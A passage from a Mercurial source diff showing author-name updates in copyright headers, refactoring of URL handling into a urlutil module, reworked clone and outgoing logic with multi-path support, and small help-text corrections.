hasconflictmarkers(data): return bool( - re.search(b"^(<<<<<<< .*|=======|>>>>>>> .*)$", data, re.MULTILINE) + re.search( + br"^(<<<<<<<.*|=======.*|------- .*|\+\+\+\+\+\+\+ .*|>>>>>>>.*)$", + data, + re.MULTILINE, + ) ) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/fileset.py --- a/mercurial/fileset.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/fileset.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # fileset.py - file set queries for mercurial # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/filesetlang.py --- a/mercurial/filesetlang.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/filesetlang.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # filesetlang.py - parser, tokenizer and utility for file set language # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/formatter.py --- a/mercurial/formatter.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/formatter.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # formatter.py - generic output formatting for mercurial # -# Copyright 2012 Matt Mackall +# Copyright 2012 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -178,6 +178,11 @@ class baseformatter(object): + + # set to True if the formater output a strict format that does not support + # arbitrary output in the stream. + strict_format = False + def __init__(self, ui, topic, opts, converter): self._ui = ui self._topic = topic @@ -418,6 +423,9 @@ class jsonformatter(baseformatter): + + strict_format = True + def __init__(self, ui, out, topic, opts): baseformatter.__init__(self, ui, topic, opts, _nullconverter) self._out = out diff -r bc268ea9f984 -r f67b8946bb1b mercurial/grep.py --- a/mercurial/grep.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/grep.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # grep.py - logic for history walk and grep # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hbisect.py --- a/mercurial/hbisect.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hbisect.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # changelog bisection for mercurial # -# Copyright 2007 Matt Mackall +# Copyright 2007 Olivia Mackall # Copyright 2005, 2006 Benoit Boissinot # # Inspired by git bisect, extension skeleton taken from mq.py. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/help.py --- a/mercurial/help.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/help.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # help.py - help data for mercurial # -# Copyright 2006 Matt Mackall +# Copyright 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -829,10 +829,11 @@ def appendcmds(cmds): cmds = sorted(cmds) for c in cmds: + display_cmd = c if ui.verbose: - rst.append(b" :%s: %s\n" % (b', '.join(syns[c]), h[c])) - else: - rst.append(b' :%s: %s\n' % (c, h[c])) + display_cmd = b', '.join(syns[c]) + display_cmd = display_cmd.replace(b':', br'\:') + rst.append(b' :%s: %s\n' % (display_cmd, h[c])) if name in (b'shortlist', b'debug'): # List without categories. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/config.txt --- a/mercurial/helptext/config.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/config.txt Tue Apr 20 11:01:06 2021 -0400 @@ -910,7 +910,8 @@ Repository with this on-disk format require Mercurial version 5.4 or above. - Disabled by default. + By default this format variant is disabled if fast implementation is not + available and enabled by default if the fast implementation is available. ``use-share-safe`` Enforce "safe" behaviors for all "shares" that access this repository. @@ -966,7 +967,7 @@ On some systems, the Mercurial installation may lack `zstd` support. - Default is `zlib`. + Default is `zstd` if available, `zlib` otherwise. ``bookmarks-in-store`` Store bookmarks in .hg/store/. This means that bookmarks are shared when @@ -1150,7 +1151,7 @@ ``pretxnopen`` Run before any new repository transaction is open. The reason for the transaction will be in ``$HG_TXNNAME``, and a unique identifier for the - transaction will be in ``HG_TXNID``. A non-zero status will prevent the + transaction will be in ``$HG_TXNID``. A non-zero status will prevent the transaction from being opened. ``pretxnclose`` @@ -1159,12 +1160,13 @@ content or change it. Exit status 0 allows the commit to proceed. A non-zero status will cause the transaction to be rolled back. The reason for the transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for - the transaction will be in ``HG_TXNID``. The rest of the available data will - vary according the transaction type. New changesets will add ``$HG_NODE`` - (the ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last - added changeset), ``$HG_URL`` and ``$HG_SOURCE`` variables. Bookmark and - phase changes will set ``HG_BOOKMARK_MOVED`` and ``HG_PHASES_MOVED`` to ``1`` - respectively, etc. + the transaction will be in ``$HG_TXNID``. The rest of the available data will + vary according the transaction type. Changes unbundled to the repository will + add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the + ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added + changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and + ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if + any, will be in ``$HG_NEW_OBSMARKERS``, etc. ``pretxnclose-bookmark`` Run right before a bookmark change is actually finalized. Any repository @@ -1178,7 +1180,7 @@ will be empty. In addition, the reason for the transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for the transaction will be in - ``HG_TXNID``. + ``$HG_TXNID``. ``pretxnclose-phase`` Run right before a phase change is actually finalized. Any repository change @@ -1190,7 +1192,7 @@ while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE`` will be empty. In addition, the reason for the transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for the transaction will be in - ``HG_TXNID``. The hook is also run for newly added revisions. In this case + ``$HG_TXNID``. The hook is also run for newly added revisions. In this case the ``$HG_OLDPHASE`` entry will be empty. ``txnclose`` @@ -1701,7 +1703,8 @@ These symbolic names can be used from the command line. To pull from ``my_server``: :hg:`pull my_server`. To push to ``local_path``: -:hg:`push local_path`. +:hg:`push local_path`. You can check :hg:`help urls` for details about +valid URLs. Options containing colons (``:``) denote sub-options that can influence behavior for that specific path. Example:: @@ -1710,6 +1713,9 @@ my_server = https://example.com/my_path my_server:pushurl = ssh://example.com/my_path +Paths using the `path://otherpath` scheme will inherit the sub-options value from +the path they point to. + The following sub-options can be defined: ``pushurl`` diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/hg-ssh.8.txt --- a/mercurial/helptext/hg-ssh.8.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/hg-ssh.8.txt Tue Apr 20 11:01:06 2021 -0400 @@ -52,7 +52,7 @@ Author """""" -Written by Matt Mackall +Written by Olivia Mackall Resources """"""""" @@ -64,7 +64,7 @@ Copying """"""" -Copyright (C) 2005-2016 Matt Mackall. +Copyright (C) 2005-2016 Olivia Mackall. Free use of this software is granted under the terms of the GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/hg.1.txt --- a/mercurial/helptext/hg.1.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/hg.1.txt Tue Apr 20 11:01:06 2021 -0400 @@ -6,7 +6,7 @@ Mercurial source code management system --------------------------------------- -:Author: Matt Mackall +:Author: Olivia Mackall :Organization: Mercurial :Manual section: 1 :Manual group: Mercurial Manual @@ -100,7 +100,7 @@ Author """""" -Written by Matt Mackall +Written by Olivia Mackall Resources """"""""" @@ -112,7 +112,7 @@ Copying """"""" -Copyright (C) 2005-2021 Matt Mackall. +Copyright (C) 2005-2021 Olivia Mackall. Free use of this software is granted under the terms of the GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/hgignore.5.txt --- a/mercurial/helptext/hgignore.5.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/hgignore.5.txt Tue Apr 20 11:01:06 2021 -0400 @@ -17,7 +17,7 @@ ====== Vadim Gelfer -Mercurial was written by Matt Mackall . +Mercurial was written by Olivia Mackall . See Also ======== @@ -26,7 +26,7 @@ Copying ======= This manual page is copyright 2006 Vadim Gelfer. -Mercurial is copyright 2005-2021 Matt Mackall. +Mercurial is copyright 2005-2021 Olivia Mackall. Free use of this software is granted under the terms of the GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/hgrc.5.txt --- a/mercurial/helptext/hgrc.5.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/hgrc.5.txt Tue Apr 20 11:01:06 2021 -0400 @@ -25,7 +25,7 @@ ====== Bryan O'Sullivan . -Mercurial was written by Matt Mackall . +Mercurial was written by Olivia Mackall . See Also ======== @@ -34,7 +34,7 @@ Copying ======= This manual page is copyright 2005 Bryan O'Sullivan. -Mercurial is copyright 2005-2021 Matt Mackall. +Mercurial is copyright 2005-2021 Olivia Mackall. Free use of this software is granted under the terms of the GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/helptext/urls.txt --- a/mercurial/helptext/urls.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/helptext/urls.txt Tue Apr 20 11:01:06 2021 -0400 @@ -5,6 +5,7 @@ http://[user[:pass]@]host[:port]/[path][#revision] https://[user[:pass]@]host[:port]/[path][#revision] ssh://[user@]host[:port]/[path][#revision] + path://pathname Paths in the local filesystem can either point to Mercurial repositories or to bundle files (as created by :hg:`bundle` or @@ -64,3 +65,12 @@ default-push: The push command will look for a path named 'default-push', and prefer it over 'default' if both are defined. + +These alias can also be use in the `path://` scheme:: + + [paths] + alias1 = URL1 + alias2 = path://alias1 + ... + +check :hg:`help config.paths` for details about the behavior of such "sub-path". diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hg.py --- a/mercurial/hg.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hg.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # hg.py - repository classes for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the @@ -32,6 +32,7 @@ error, exchange, extensions, + graphmod, httppeer, localrepo, lock, @@ -55,6 +56,7 @@ from .utils import ( hashutil, stringutil, + urlutil, ) @@ -65,7 +67,7 @@ def _local(path): - path = util.expandpath(util.urllocalpath(path)) + path = util.expandpath(urlutil.urllocalpath(path)) try: # we use os.stat() directly here instead of os.path.isfile() @@ -131,13 +133,9 @@ def parseurl(path, branches=None): '''parse url#branch, returning (url, (branch, branches))''' - - u = util.url(path) - branch = None - if u.fragment: - branch = u.fragment - u.fragment = None - return bytes(u), (branch, branches or []) + msg = b'parseurl(...) moved to mercurial.utils.urlutil' + util.nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.parseurl(path, branches=branches) schemes = { @@ -152,7 +150,7 @@ def _peerlookup(path): - u = util.url(path) + u = urlutil.url(path) scheme = u.scheme or b'file' thing = schemes.get(scheme) or schemes[b'file'] try: @@ -177,7 +175,7 @@ def openpath(ui, path, sendaccept=True): '''open path with open if local, url.open if remote''' - pathurl = util.url(path, parsequery=False, parsefragment=False) + pathurl = urlutil.url(path, parsequery=False, parsefragment=False) if pathurl.islocal(): return util.posixfile(pathurl.localpath(), b'rb') else: @@ -265,7 +263,7 @@ >>> defaultdest(b'http://example.org/foo/') 'foo' """ - path = util.url(source).path + path = urlutil.url(source).path if not path: return b'' return os.path.basename(os.path.normpath(path)) @@ -284,7 +282,7 @@ # the sharedpath always ends in the .hg; we want the path to the repo source = repo.vfs.split(repo.sharedpath)[0] - srcurl, branches = parseurl(source) + srcurl, branches = urlutil.parseurl(source) srcrepo = repository(repo.ui, srcurl) repo.srcrepo = srcrepo return srcrepo @@ -307,11 +305,10 @@ if not dest: dest = defaultdest(source) else: - dest = ui.expandpath(dest) + dest = urlutil.get_clone_path(ui, dest)[1] if isinstance(source, bytes): - origsource = ui.expandpath(source) - source, branches = parseurl(origsource) + origsource, source, branches = urlutil.get_clone_path(ui, source) srcrepo = repository(ui, source) rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None) else: @@ -571,7 +568,7 @@ # Resolve the value to put in [paths] section for the source. if islocal(source): - defaultpath = os.path.abspath(util.urllocalpath(source)) + defaultpath = os.path.abspath(urlutil.urllocalpath(source)) else: defaultpath = source @@ -674,150 +671,158 @@ """ if isinstance(source, bytes): - origsource = ui.expandpath(source) - source, branches = parseurl(origsource, branch) + src = urlutil.get_clone_path(ui, source, branch) + origsource, source, branches = src srcpeer = peer(ui, peeropts, source) else: srcpeer = source.peer() # in case we were called with a localrepo branches = (None, branch or []) origsource = source = srcpeer.url() - revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs) + srclock = destlock = cleandir = None + destpeer = None + try: + revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs) - if dest is None: - dest = defaultdest(source) - if dest: - ui.status(_(b"destination directory: %s\n") % dest) - else: - dest = ui.expandpath(dest) + if dest is None: + dest = defaultdest(source) + if dest: + ui.status(_(b"destination directory: %s\n") % dest) + else: + dest = urlutil.get_clone_path(ui, dest)[0] - dest = util.urllocalpath(dest) - source = util.urllocalpath(source) + dest = urlutil.urllocalpath(dest) + source = urlutil.urllocalpath(source) - if not dest: - raise error.InputError(_(b"empty destination path is not valid")) + if not dest: + raise error.InputError(_(b"empty destination path is not valid")) - destvfs = vfsmod.vfs(dest, expandpath=True) - if destvfs.lexists(): - if not destvfs.isdir(): - raise error.InputError(_(b"destination '%s' already exists") % dest) - elif destvfs.listdir(): - raise error.InputError(_(b"destination '%s' is not empty") % dest) + destvfs = vfsmod.vfs(dest, expandpath=True) + if destvfs.lexists(): + if not destvfs.isdir(): + raise error.InputError( + _(b"destination '%s' already exists") % dest + ) + elif destvfs.listdir(): + raise error.InputError( + _(b"destination '%s' is not empty") % dest + ) - createopts = {} - narrow = False - - if storeincludepats is not None: - narrowspec.validatepatterns(storeincludepats) - narrow = True + createopts = {} + narrow = False - if storeexcludepats is not None: - narrowspec.validatepatterns(storeexcludepats) - narrow = True + if storeincludepats is not None: + narrowspec.validatepatterns(storeincludepats) + narrow = True + + if storeexcludepats is not None: + narrowspec.validatepatterns(storeexcludepats) + narrow = True - if narrow: - # Include everything by default if only exclusion patterns defined. - if storeexcludepats and not storeincludepats: - storeincludepats = {b'path:.'} + if narrow: + # Include everything by default if only exclusion patterns defined. + if storeexcludepats and not storeincludepats: + storeincludepats = {b'path:.'} - createopts[b'narrowfiles'] = True + createopts[b'narrowfiles'] = True - if depth: - createopts[b'shallowfilestore'] = True + if depth: + createopts[b'shallowfilestore'] = True - if srcpeer.capable(b'lfs-serve'): - # Repository creation honors the config if it disabled the extension, so - # we can't just announce that lfs will be enabled. This check avoids - # saying that lfs will be enabled, and then saying it's an unknown - # feature. The lfs creation option is set in either case so that a - # requirement is added. If the extension is explicitly disabled but the - # requirement is set, the clone aborts early, before transferring any - # data. - createopts[b'lfs'] = True + if srcpeer.capable(b'lfs-serve'): + # Repository creation honors the config if it disabled the extension, so + # we can't just announce that lfs will be enabled. This check avoids + # saying that lfs will be enabled, and then saying it's an unknown + # feature. The lfs creation option is set in either case so that a + # requirement is added. If the extension is explicitly disabled but the + # requirement is set, the clone aborts early, before transferring any + # data. + createopts[b'lfs'] = True - if extensions.disabled_help(b'lfs'): - ui.status( - _( - b'(remote is using large file support (lfs), but it is ' - b'explicitly disabled in the local configuration)\n' + if extensions.disabled_help(b'lfs'): + ui.status( + _( + b'(remote is using large file support (lfs), but it is ' + b'explicitly disabled in the local configuration)\n' + ) ) - ) - else: - ui.status( - _( - b'(remote is using large file support (lfs); lfs will ' - b'be enabled for this repository)\n' + else: + ui.status( + _( + b'(remote is using large file support (lfs); lfs will ' + b'be enabled for this repository)\n' + ) ) - ) - shareopts = shareopts or {} - sharepool = shareopts.get(b'pool') - sharenamemode = shareopts.get(b'mode') - if sharepool and islocal(dest): - sharepath = None - if sharenamemode == b'identity': - # Resolve the name from the initial changeset in the remote - # repository. This returns nullid when the remote is empty. It - # raises RepoLookupError if revision 0 is filtered or otherwise - # not available. If we fail to resolve, sharing is not enabled. - try: - with srcpeer.commandexecutor() as e: - rootnode = e.callcommand( - b'lookup', - { - b'key': b'0', - }, - ).result() + shareopts = shareopts or {} + sharepool = shareopts.get(b'pool') + sharenamemode = shareopts.get(b'mode') + if sharepool and islocal(dest): + sharepath = None + if sharenamemode == b'identity': + # Resolve the name from the initial changeset in the remote + # repository. This returns nullid when the remote is empty. It + # raises RepoLookupError if revision 0 is filtered or otherwise + # not available. If we fail to resolve, sharing is not enabled. + try: + with srcpeer.commandexecutor() as e: + rootnode = e.callcommand( + b'lookup', + { + b'key': b'0', + }, + ).result() - if rootnode != nullid: - sharepath = os.path.join(sharepool, hex(rootnode)) - else: + if rootnode != nullid: + sharepath = os.path.join(sharepool, hex(rootnode)) + else: + ui.status( + _( + b'(not using pooled storage: ' + b'remote appears to be empty)\n' + ) + ) + except error.RepoLookupError: ui.status( _( b'(not using pooled storage: ' - b'remote appears to be empty)\n' + b'unable to resolve identity of remote)\n' ) ) - except error.RepoLookupError: - ui.status( - _( - b'(not using pooled storage: ' - b'unable to resolve identity of remote)\n' - ) + elif sharenamemode == b'remote': + sharepath = os.path.join( + sharepool, hex(hashutil.sha1(source).digest()) + ) + else: + raise error.Abort( + _(b'unknown share naming mode: %s') % sharenamemode ) - elif sharenamemode == b'remote': - sharepath = os.path.join( - sharepool, hex(hashutil.sha1(source).digest()) - ) - else: - raise error.Abort( - _(b'unknown share naming mode: %s') % sharenamemode - ) + + # TODO this is a somewhat arbitrary restriction. + if narrow: + ui.status( + _(b'(pooled storage not supported for narrow clones)\n') + ) + sharepath = None - # TODO this is a somewhat arbitrary restriction. - if narrow: - ui.status(_(b'(pooled storage not supported for narrow clones)\n')) - sharepath = None + if sharepath: + return clonewithshare( + ui, + peeropts, + sharepath, + source, + srcpeer, + dest, + pull=pull, + rev=revs, + update=update, + stream=stream, + ) - if sharepath: - return clonewithshare( - ui, - peeropts, - sharepath, - source, - srcpeer, - dest, - pull=pull, - rev=revs, - update=update, - stream=stream, - ) + srcrepo = srcpeer.local() - srclock = destlock = cleandir = None - srcrepo = srcpeer.local() - try: abspath = origsource if islocal(origsource): - abspath = os.path.abspath(util.urllocalpath(origsource)) + abspath = os.path.abspath(urlutil.urllocalpath(origsource)) if islocal(dest): cleandir = dest @@ -931,7 +936,7 @@ local.setnarrowpats(storeincludepats, storeexcludepats) narrowspec.copytoworkingcopy(local) - u = util.url(abspath) + u = urlutil.url(abspath) defaulturl = bytes(u) local.ui.setconfig(b'paths', b'default', defaulturl, b'clone') if not stream: @@ -978,7 +983,7 @@ destrepo = destpeer.local() if destrepo: template = uimod.samplehgrcs[b'cloned'] - u = util.url(abspath) + u = urlutil.url(abspath) u.passwd = None defaulturl = bytes(u) destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl)) @@ -1055,6 +1060,8 @@ shutil.rmtree(cleandir, True) if srcpeer is not None: srcpeer.close() + if destpeer and destpeer.local() is None: + destpeer.close() return srcpeer, destpeer @@ -1114,6 +1121,7 @@ assert stats.unresolvedcount == 0 if show_stats: _showstats(repo, stats, quietempty) + return False # naming conflict in updatetotally() @@ -1246,7 +1254,14 @@ def _incoming( - displaychlist, subreporecurse, ui, repo, source, opts, buffered=False + displaychlist, + subreporecurse, + ui, + repo, + source, + opts, + buffered=False, + subpath=None, ): """ Helper for incoming / gincoming. @@ -1254,17 +1269,33 @@ (remoterepo, incomingchangesetlist, displayer) parameters, and is supposed to contain only code that can't be unified. """ - source, branches = parseurl(ui.expandpath(source), opts.get(b'branch')) + srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch')) + srcs = list(srcs) + if len(srcs) != 1: + msg = _('for now, incoming supports only a single source, %d provided') + msg %= len(srcs) + raise error.Abort(msg) + source, branches = srcs[0] + if subpath is not None: + subpath = urlutil.url(subpath) + if subpath.isabs(): + source = bytes(subpath) + else: + p = urlutil.url(source) + p.path = os.path.normpath(b'%s/%s' % (p.path, subpath)) + source = bytes(p) other = peer(repo, opts, source) - ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) - revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) + cleanupfn = other.close + try: + ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source)) + revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) - if revs: - revs = [other.lookup(rev) for rev in revs] - other, chlist, cleanupfn = bundlerepo.getremotechanges( - ui, repo, other, revs, opts[b"bundle"], opts[b"force"] - ) - try: + if revs: + revs = [other.lookup(rev) for rev in revs] + other, chlist, cleanupfn = bundlerepo.getremotechanges( + ui, repo, other, revs, opts[b"bundle"], opts[b"force"] + ) + if not chlist: ui.status(_(b"no changes found\n")) return subreporecurse() @@ -1280,7 +1311,7 @@ return 0 # exit code is zero since we found incoming changes -def incoming(ui, repo, source, opts): +def incoming(ui, repo, source, opts, subpath=None): def subreporecurse(): ret = 1 if opts.get(b'subrepos'): @@ -1304,67 +1335,115 @@ count += 1 displayer.show(other[n]) - return _incoming(display, subreporecurse, ui, repo, source, opts) + return _incoming( + display, subreporecurse, ui, repo, source, opts, subpath=subpath + ) -def _outgoing(ui, repo, dest, opts): - path = ui.paths.getpath(dest, default=(b'default-push', b'default')) - if not path: - raise error.Abort( - _(b'default repository not configured!'), - hint=_(b"see 'hg help config.paths'"), - ) - dest = path.pushloc or path.loc - branches = path.branch, opts.get(b'branch') or [] +def _outgoing(ui, repo, dests, opts, subpath=None): + out = set() + others = [] + for path in urlutil.get_push_paths(repo, ui, dests): + dest = path.pushloc or path.loc + if subpath is not None: + subpath = urlutil.url(subpath) + if subpath.isabs(): + dest = bytes(subpath) + else: + p = urlutil.url(dest) + p.path = os.path.normpath(b'%s/%s' % (p.path, subpath)) + dest = bytes(p) + branches = path.branch, opts.get(b'branch') or [] + + ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) + revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) + if revs: + revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] - ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) - revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) - if revs: - revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] + other = peer(repo, opts, dest) + try: + outgoing = discovery.findcommonoutgoing( + repo, other, revs, force=opts.get(b'force') + ) + o = outgoing.missing + out.update(o) + if not o: + scmutil.nochangesfound(repo.ui, repo, outgoing.excluded) + others.append(other) + except: # re-raises + other.close() + raise + # make sure this is ordered by revision number + outgoing_revs = list(out) + cl = repo.changelog + outgoing_revs.sort(key=cl.rev) + return outgoing_revs, others - other = peer(repo, opts, dest) - outgoing = discovery.findcommonoutgoing( - repo, other, revs, force=opts.get(b'force') - ) - o = outgoing.missing - if not o: - scmutil.nochangesfound(repo.ui, repo, outgoing.excluded) - return o, other + +def _outgoing_recurse(ui, repo, dests, opts): + ret = 1 + if opts.get(b'subrepos'): + ctx = repo[None] + for subpath in sorted(ctx.substate): + sub = ctx.sub(subpath) + ret = min(ret, sub.outgoing(ui, dests, opts)) + return ret -def outgoing(ui, repo, dest, opts): - def recurse(): - ret = 1 - if opts.get(b'subrepos'): - ctx = repo[None] - for subpath in sorted(ctx.substate): - sub = ctx.sub(subpath) - ret = min(ret, sub.outgoing(ui, dest, opts)) - return ret - +def _outgoing_filter(repo, revs, opts): + """apply revision filtering/ordering option for outgoing""" limit = logcmdutil.getlimit(opts) - o, other = _outgoing(ui, repo, dest, opts) - if not o: - cmdutil.outgoinghooks(ui, repo, other, opts, o) - return recurse() - + no_merges = opts.get(b'no_merges') if opts.get(b'newest_first'): - o.reverse() - ui.pager(b'outgoing') - displayer = logcmdutil.changesetdisplayer(ui, repo, opts) + revs.reverse() + if limit is None and not no_merges: + for r in revs: + yield r + return + count = 0 - for n in o: + cl = repo.changelog + for n in revs: if limit is not None and count >= limit: break - parents = [p for p in repo.changelog.parents(n) if p != nullid] - if opts.get(b'no_merges') and len(parents) == 2: + parents = [p for p in cl.parents(n) if p != nullid] + if no_merges and len(parents) == 2: continue count += 1 - displayer.show(repo[n]) - displayer.close() - cmdutil.outgoinghooks(ui, repo, other, opts, o) - recurse() - return 0 # exit code is zero since we found outgoing changes + yield n + + +def outgoing(ui, repo, dests, opts, subpath=None): + if opts.get(b'graph'): + logcmdutil.checkunsupportedgraphflags([], opts) + o, others = _outgoing(ui, repo, dests, opts, subpath=subpath) + ret = 1 + try: + if o: + ret = 0 + + if opts.get(b'graph'): + revdag = logcmdutil.graphrevs(repo, o, opts) + ui.pager(b'outgoing') + displayer = logcmdutil.changesetdisplayer( + ui, repo, opts, buffered=True + ) + logcmdutil.displaygraph( + ui, repo, revdag, displayer, graphmod.asciiedges + ) + else: + ui.pager(b'outgoing') + displayer = logcmdutil.changesetdisplayer(ui, repo, opts) + for n in _outgoing_filter(repo, o, opts): + displayer.show(repo[n]) + displayer.close() + for oth in others: + cmdutil.outgoinghooks(ui, repo, oth, opts, o) + ret = min(ret, _outgoing_recurse(ui, repo, dests, opts)) + return ret # exit code is zero since we found outgoing changes + finally: + for oth in others: + oth.close() def verify(repo, level=None): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/__init__.py --- a/mercurial/hgweb/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/__init__.py - web interface to a mercurial repository # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005 Matt Mackall +# Copyright 2005 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/common.py --- a/mercurial/hgweb/common.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/common.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/common.py - Utility functions needed by hgweb_mod and hgwebdir_mod # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/hgweb_mod.py --- a/mercurial/hgweb/hgweb_mod.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/hgweb_mod.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/hgweb_mod.py - Web interface for a repository. # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/hgwebdir_mod.py --- a/mercurial/hgweb/hgwebdir_mod.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/hgwebdir_mod.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/hgwebdir_mod.py - Web interface for a directory of repositories. # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/request.py --- a/mercurial/hgweb/request.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/request.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/request.py - An http request from either CGI or the standalone server. # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -17,6 +17,9 @@ pycompat, util, ) +from ..utils import ( + urlutil, +) class multidict(object): @@ -184,7 +187,7 @@ reponame = env.get(b'REPO_NAME') if altbaseurl: - altbaseurl = util.url(altbaseurl) + altbaseurl = urlutil.url(altbaseurl) # https://www.python.org/dev/peps/pep-0333/#environ-variables defines # the environment variables. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/hgweb/server.py --- a/mercurial/hgweb/server.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/hgweb/server.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # hgweb/server.py - The standalone hg web server. # # Copyright 21 May 2005 - (c) 2005 Jake Edge -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -28,6 +28,9 @@ pycompat, util, ) +from ..utils import ( + urlutil, +) httpservermod = util.httpserver socketserver = util.socketserver @@ -431,7 +434,7 @@ sys.setdefaultencoding(oldenc) address = ui.config(b'web', b'address') - port = util.getport(ui.config(b'web', b'port')) + port = urlutil.getport(ui.config(b'web', b'port')) try: return cls(ui, 